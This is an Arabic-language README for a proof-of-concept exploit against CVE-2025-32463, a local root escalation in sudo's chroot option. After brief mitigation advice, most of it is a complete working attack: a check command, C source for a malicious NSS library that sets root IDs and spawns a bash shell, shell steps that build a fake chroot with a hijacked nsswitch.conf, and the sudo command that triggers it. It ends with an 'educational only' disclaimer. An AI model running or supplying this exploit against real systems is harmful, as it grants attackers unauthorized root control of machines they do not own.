
أداة استغلال PoC لثغرة CVE-2025-32463 - تصعيد الامتيازات في Sudo
توجد ثغرة تصعيد صلاحيات في sudo تؤثر على الأنظمة المبنية على Linux/Unix. يظهر الخلل بسبب التحقق غير السليم من المسارات عندما يُستخدم sudo مع الخيار -R (--chroot)، مما يسمح للمهاجمين بتصعيد الصلاحيات إلى الجذر عبر تحميل مكتبة NSS خبيثة.
sudo أمرًا داخل بيئة chroot (خيار -R)، فإنه يسيء التعامل مع تحميل مكتبات NSS (Name Service Switch) أثناء حالات الخطأ.LD_LIBRARY_PATH أو المسارات في /etc/nsswitch.conf) قد يؤدي إلى تحميل مكتبة خبيثة بدلًا من مكتبة NSS الشرعية (مثل libnss_files.so).sudo إلى أحدث إصدار مصحح.sudo (حدّ من استخدام chroot حيثما أمكن).LD_LIBRARY_PATH./etc/nsswitch.conf.secure_path في /etc/sudoers لتقييد مسارات البحث عن المكتبات.| المكوّن | محفز الثغرة |
|---|---|
sudo -R | تحقق غير صحيح من مسار chroot. |
| NSS | تحميل غير آمن للمكتبات أثناء الأخطاء. |
| الاستغلال | اختطاف المسار ← تحميل مكتبة خبيثة. |
معرف CVE: CVE-2025-32463
الإصدارات المتأثرة: Sudo من 1.9.14 حتى 1.9.17
درجة CVSS: 9.8 (حرجة)
الأثر: تصعيد صلاحيات محلي إلى الجذر
إذا استجاب بـ No such file or directory فهذا يعني أنه عرضة للثغرة:
sudo -R invalid invalid
sudo: invalid: No such file or directory
أولًا، ننشئ مجلدًا مؤقتًا للعمل فيه:
TMP_DIR=$(mktemp -d -t sudobridge.XXXXXX) cd $TMP_DIR
يؤدي هذا إلى إنشاء مجلد مؤقت باسم فريد والانتقال إليه. تضمن أوامر mktemp عدم التداخل مع ملفات النظام الموجودة.
نحتاج إلى إنشاء ملف C (bridge90.c) سيتم تجميعه إلى مكتبة خبيثة:
#include <stdlib.h>
#include <unistd.h>
__attribute__((constructor)) void bridge(void) {
setreuid(0,0); // Set real and effective user ID to root
setregid(0,0); // Set real and effective group ID to root
chdir("/"); // Change to root directory
execl("/bin/sh", "sh", "-c", "/bin/bash", NULL); // Execute shell
}
المكوّنات الرئيسية:
تضمن __attribute__((constructor)) تشغيل الدالة عند تحميل المكتبة
تعمل setreuid و setregid على تصعيد الصلاحيات إلى الجذر
يستدعي execl غلاف bash
mkdir -p bridge/etc echo "passwd: /bridge90" > bridge/etc/nsswitch.conf cp /etc/group bridge/etc/ mkdir libnss_ gcc -shared -fPIC -Wl,-init,bridge -o libnss_/bridge90.so.2 bridge90.c
تفصيل:
إنشاء بيئة chroot مزيفة في bridge/etc
تعديل nsswitch.conf ليشير إلى مسارنا الخبيث
نسخ ملف /etc/group الحقيقي للحفاظ على الشرعية
إنشاء مجلد للمكتبة الخبيثة
تجميع كود C في مكتبة مشتركة بأسم يطابق اصطلاحات NSS (Name Service Switch)
sudo -R bridge bridge
تحاول هذه الأوامر استخدام بيئتنا المصنّعة:
أول bridge هو مجلد chroot الذي يحتوي على إعداداتنا الخبيثة
ثاني bridge هو الأمر الذي سيتم تشغيله (والذي سيحمّل مكتبتنا)
بعد نجاح الاستغلال، تحقق من وصول الجذر:
whoami # Should return "root"
id -u # Should return "0" (root's UID)
graph LR
A[Malicious Library] --> B[Fake Chroot]
B --> C[Trigger Error]
C --> D[Library Load]
D --> E[Root Execution]
استغلال PoC هذا لأغراض تعليمية فقط! لست مسؤولًا عن أي إساءة استخدام قد تسببها بهذا الاستغلال!